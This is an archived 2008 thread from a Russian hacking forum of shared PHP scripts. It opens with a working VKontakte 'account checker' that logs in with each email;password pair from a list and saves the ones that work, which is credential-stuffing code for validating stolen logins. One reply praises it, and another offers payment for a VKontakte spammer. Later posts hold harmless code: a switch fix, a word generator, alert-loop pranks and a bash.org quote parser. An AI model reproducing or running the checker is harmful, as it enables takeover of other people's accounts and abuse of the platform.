ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

25.03.2008, 14:15
|
|
Познающий
Регистрация: 26.05.2007
Сообщений: 63
Провел на форуме: 550386
Репутация:
86
|
|
ВКонтакте АККчекер 0.1
Скрипт чекает аккаунты Вконтакте.ру на валидность.
Для работы требуется хост с поддержкой сокетов.
Залейте скрипт на хостинг.
Создайте файл " valid.txt" поставьте на него права на запись.
В файл " accounts.txt" вставьте список аккаунтов. " E-mail;Pass"
PHP код:
<?php
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
#&-------------------------------
#& ВКонтакте АККчекер 0.1
#& VKontakte ACCchecker 0.1
#& By NNNS::[icq: 474374]
#& All lefts reserved.
#&-------------------------------
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# User Agent
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12";
# Файл с аккаунтами
$acclist = "accounts.txt";
# Файл с валидными аккаунтами
$vallist = "valid.txt";
# Помещаем аккаунты в массив
$account = file($acclist);
# Рабочие аккаунты
$valid = 0;
# Нерабочие аккаунты
$invalid = 0;
function vkCheck($email,$pass) {
# Открываем сокет
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
# Отправляем заголовки
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
# Записываем ответ сервера в переменную
$ans=fgets($fp,128);
# Закрываем сокет
fclose($fp);
# Если 302 найден, значит акк валидный
if(preg_match("/\b302 Found\b/is", $ans)) {
return true;
} else {
return false;
}
}
# Запускаем цикл
for($i=0;$i<count($account);$i++) {
# Удаляем симолы перевода строки
$caccaunt = str_replace("\r\n","",$account[$i]);
# Разбиваем на e-mail и пароль
list($email,$pass) = explode(";",$caccaunt);
# Вызываем функцию проверки аккаунта
$answer = vkCheck($email,$pass);
# Если аккаунт рабочий, записываем его в файл
if ($answer == true) {
$fd = fopen($vallist,"a+");
fputs($fd,$account[$i]);
fclose($fd);
$valid++;
} else {
$invalid++;
}
}
# Выводим результат
echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;
?>
|
|
|

27.03.2008, 23:49
|
|
Познающий
Регистрация: 27.03.2008
Сообщений: 89
Провел на форуме: 484321
Репутация:
81
|
|
все таки выложил  и хорошо... на благо общества , кста я юзал его - работает как часы +1. Только когда файл accounts.txt перегружаешь большим количеством аков результат не выдает, но все равно записывает(просто скачиваю valid.txt и все...
Последний раз редактировалось Foxtrot1; 27.03.2008 в 23:53..
|
|
|

28.03.2008, 01:14
|
|
Участник форума
Регистрация: 08.09.2006
Сообщений: 194
Провел на форуме: 1627025
Репутация:
163
|
|
to Хелпер
пофикси багу деление на 0
|
|
|

28.03.2008, 10:53
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
Хелпер, Мне кажется, ты недопонял конструкцию switch.
PHP код:
switch ($num3)
{
case "+";
echo $num1 + $num2;
}
switch ($num3)
{
case "-";
echo $num1 - $num2;
}
switch ($num3)
{
case "*";
echo $num1 * $num2;
}
switch ($num3)
{
case "/";
echo $num1 / $num2;
}
PHP код:
switch ($num3)
{
case '+':
echo $num1 + $num2;
break;
case '-':
echo $num1 - $num2;
break;
case '*':
echo $num1 * $num2;
break;
case '/':
echo $num1 / $num2;
break;
default:
echo 'Какой-то левый параметр.';
}
|
|
|

29.03.2008, 20:19
|
|
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме: 6828219
Репутация:
2274
|
|
Самый трушный мой скрипт от скуки, это мне совсем нечего было делать
PHP код:
<?php
function genStr($min,$max) {
$glas = 'уеыаоэяию'; #гласный букафке
$soglas = 'цкнгшщзхфвпрлджчсмтб'; #сагласные
$to = rand($min,$max);
$ret = '';
for($i=0;$i<$to;$i++) {
if($i%2) $ret .= $glas[rand(0,strlen($glas)-1)];
else $ret .= $soglas[rand(0,strlen($soglas)-1)];
}
$ret[0] = strtoupper($ret[0]);
return $ret;
}
?>
Генерит иногда оч ржачные слова
genStr(мин.букавок, максимум);
Запускаем, прёмся
PHP код:
<?php
for($i=0;$i<10;$i++) {
echo genStr(3,10).'<br>';
}
?>
|
|
|

01.04.2008, 19:15
|
|
Постоянный
Регистрация: 12.01.2008
Сообщений: 336
Провел на форуме: 797429
Репутация:
598
|
|
PHP код:
<?
$i= "<script>alert("С 1 апреля") </script><br>"
for ($i; ; )
{
echo $i
}
?>
|
|
|

01.04.2008, 22:22
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Код:
<script> while(true) { alert("С 1 апреля") } </script>
Phm.phx, так легче)
|
|
|

03.04.2008, 22:03
|
|
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме: 4137635
Репутация:
2407
|
|
Действительно нечего было делать, написал парсер башорга, умеет выполнять все функции с ним
Вот класс для работы с башоргом:
http://rapidshare.com/files/104604548/bash.php.html
(на рапиду выложил, т.к. тут исходники искажаются немного)
Вот доки по классу
PHP код:
Все переменные - private, инфо просто для ознакомления
$bash_url - url страницы башорга
$bash_text - текст какой-либо из страниц башорга
$bash_arr - массив пропарсенных цитат
$bash_type - страница, которую читаем
$bash_page - номер страницы, которую читаем
$bash_max_page - максимальная страница
$bash_curr_page - текущая страница
$bash_last_quote - последняя прочитанная цитата
$bash_q_num - номер прочитанной цитаты
$bash_approved - число добавленных за день цитат
Методы класса
Bash($url='bash.org.ru') - конструктор класса, $url - адрес башорга:)
get_bash_text() - public, возвращает весь полученный функцией bash_read контент
get_bash_arr() - public, возвращает весь полученный функцией bash_read контент
bash_read($typ=0,$page=1,$stext='') - public, главная функция, читает башорг
$typ==0 - читает главную страницу
$typ==1 - читает страницу "по рейтингу", можно указать $page - номер страницы
$typ==2 - читает бездну
$typ==3 - читает топ бездны
$typ==4 - читает "случайные"
$typ==5 - читает конкретную цитату с номером $page
$typ==6 - ищет цитаты среди добавленных, нужно задать $stext - строка поиска
$typ==7 - ищет цитаты в бездне, нужно задать $stext - строка поиска
$typ==8 - читает страницу "по дате", можно указать $page - номер страницы
bash_socket($service_uri,$ref='',$method='GET') - private, работает с сокетами
bash_parse() - public, парсит полученную с помощью bash_read страницу
Если были считаны главная/"по рейтингу"/"случайные"/конкретная цитата по номеру/"по дате"/был произведён поиск в добавленных, то
возвращается массив array('id','rating','approved','date','cite'), где id - массив номеров цитат, rating - массив и рейтингов, approved - массив ников
тех, кто добавлял цитаты, date - массив дат и времён добавления, cite - массив текстов цитат.
Кроме того, если были считаны страницы "по рейтингу"/"по дате", функция определяет текущую страницу и максимальное число страниц, их можно получить
с помощью get_curr_page и get_max_page соответственно. Если же была считана главная страница, то определяется число добавленных за последние сутки цитат,
его можно получить с помощью get_approved_num.
Если была считана бездна/произведён поиск по бездне, то возвращается массив array('id','date','cite').
Если был считан топ бездны, то возвращается массив array('id','rating','date','cite').
get_number() - public, возвращает число найденных на странице цитат
get_page_name() - public, возвращает имя последней считанной страницы
get_max_page(), get_curr_page() - public, см. bash_parse
rate_cite($id,$typ=0,$inabyss=0) - public, изменяет рейтинг цитаты с номером $id. Если $typ==0, то ставится "+", если 1, то "-", если "2", то "боян"
Если голосовать нужно за цитату в бездне, то укажите $inabyss==1, если же за уже добавленную цитату, то 0.
Функция возвращает строку 'abyss', если после голосования был редирект на бездну, либо номер цитаты, на которую был редирект, либо 0, если не удалось распознать ни первое ни второе.
get_cite_rate($id) - public, получает рейтинг добавленной цитаты с номером $id
bash_add($cite='') - public, добавляет цитату с текстом $cite
get_approved_num() - public, см. bash_parse
Пример: для того, чтобы вывести свеженькие сегодняшние цитаты с главной страницы, достаточно такого кода:
require_once("bash.php"); //подключаем класс
$bash=new Bash(); //создаём объект
$bash->bash_read(); //читаем главную
$cite=$bash->bash_parse(); //парсим её
$anum=$bash->get_approved_num(); //получаем число добавленных сегодня цитат
$num=$bash->get_number(); //получаем число найденных цитат
if($anum>$num) $anum=$num; //если добавлено было больше, чем отображается
for($i=0;$i<$anum;$i++)
{
print "<hr>{$cite['cite'][$i]}"; //выводим цитатки
}
Вот пример простого ридера баша на базе моего класса:
PHP код:
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Bash.Org.Ru Reader by DX</title>
<style>
body
{
font-family:'Arial';
font-size:12;
}
hr
{
height: 1px;
color:black;
border:none;
background-color:blac;
}
.header
{
font-size:16;
font-weight:bold;
}
.bkg
{
background-color:#99bbff;
}
a,a:active,a:visited
{
color:#34498B;
text-decoration:none;
font-weight:700;
}
a:hover
{
color: blue;
font-weight:700;
text-decoration:underline;
}
input
{
BORDER: rgb(50,50,50) 1px outset;
FONT-SIZE: 11px;
font-family:Arial;
}
</style></head>
<body>
<b><a href="?loc=0">Главная App.</a> | <a href="?loc=10">Главная All</a> | <a href="?loc=3">Топ бездны</a> | <a href="?loc=2">Бездна</a> | <a href="?loc=1">По рейтингу</a>
| <a href="?loc=4">Случайные</a></b><form action="" method="get"><input type="hidden" name="loc" value="5">ID цитаты: <input type="text" name="page"> <input type="submit" value="Читать"></form><hr>
<?php
error_reporting(E_ALL);
require_once("bash.php");
$loc=isset($_GET['loc']) ? $_GET['loc'] : 0;
$cid=isset($_GET['id']) ? $_GET['id'] : 0;
if($loc==1 || $loc==5)
$page=isset($_GET['page']) ? $_GET['page'] : 1;
else
$page=1;
$bash=new Bash();
$a=isset($_GET['a']) ? $_GET['a'] : 0;
if($loc=='6')
{
$tmp=$bash->rate_cite($cid,0,$a);
$loc=$tmp=='abyss' ? 2 : 5;
$page=$cid;
}
else if($loc=='7')
{
$tmp=$bash->rate_cite($cid,1,$a);
$loc=$tmp=='abyss' ? 2 : 5;
$page=$cid;
}
else if($loc=='8')
{
$tmp=$bash->rate_cite($cid,2,$a);
$loc=$tmp=='abyss' ? 2 : 5;
$page=$cid;
}
$xloc=$loc;
if($loc==10) $loc=0;
$bash->bash_read($loc,$page);
$cite=$bash->bash_parse();
if($xloc==0) $anum=$bash->get_approved_num(); else $anum=0;
$num=$bash->get_number();
if($xloc==0)
{
if($anum>100) $anum=$num;
}
else
{
$anum=$num;
}
print "<center><span class='header'>".$bash->get_page_name()."</span></center><hr><b>Найдено: $anum</b>";
$ptxt='';
if($loc==1)
{
$ptxt="<br><b>Страницы: </b>";
$maxp=$bash->get_max_page();
$curp=$bash->get_curr_page();
$ptxt.="<a href='?loc=1&page=1'>первая</a> || ";
if($curp>1)
{
$tmp=$curp-1;
$ptxt.="<a href='?loc=1&page=$tmp'><<<предыдущая</a> ";
}
$ptxt.='<b>'.$curp.'</b>';
if($maxp>$curp)
{
$tmp=$curp+1;
$ptxt.=" <a href='?loc=1&page=$tmp'>следующая>>></a>";
}
$ptxt.=" || <a href='?loc=1&page=$maxp'>последняя</a>";
print $ptxt;
}
for($i=0;$i<$anum;$i++)
{
print "<hr><span class='bkg'>#{$cite['id'][$i]} | {$cite['date'][$i]}";
if(isset($cite['rating'][$i]))
print " | <b>Rate</b>: {$cite['rating'][$i]}";
if(isset($cite['approved'][$i]))
print " | <b>{$cite['approved'][$i]}</b>";
if($loc==0 || $loc==1 || $loc==5 || $loc==4) $a=0; else $a=1;
print " || <a href='?loc=6&id={$cite['id'][$i]}&a=$a'>:D</a> | <a href='?loc=7&id={$cite['id'][$i]}&a=$a'>:(</a> | <a href='?loc=8&id={$cite['id'][$i]}&a=$a'>:X</a>";
print '</span><br>'.$cite['cite'][$i];
}
if($ptxt)
print '<hr>'.$ptxt;
?>
</body></html>
|
|
|

12.04.2008, 00:42
|
|
Познающий
Регистрация: 27.03.2008
Сообщений: 89
Провел на форуме: 484321
Репутация:
81
|
|
кто напишет спамер vkontakte можно за $.
|
|
|

27.04.2008, 23:03
|
|
Участник форума
Регистрация: 21.02.2007
Сообщений: 171
Провел на форуме: 849260
Репутация:
32
|
|
он вроде есть
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|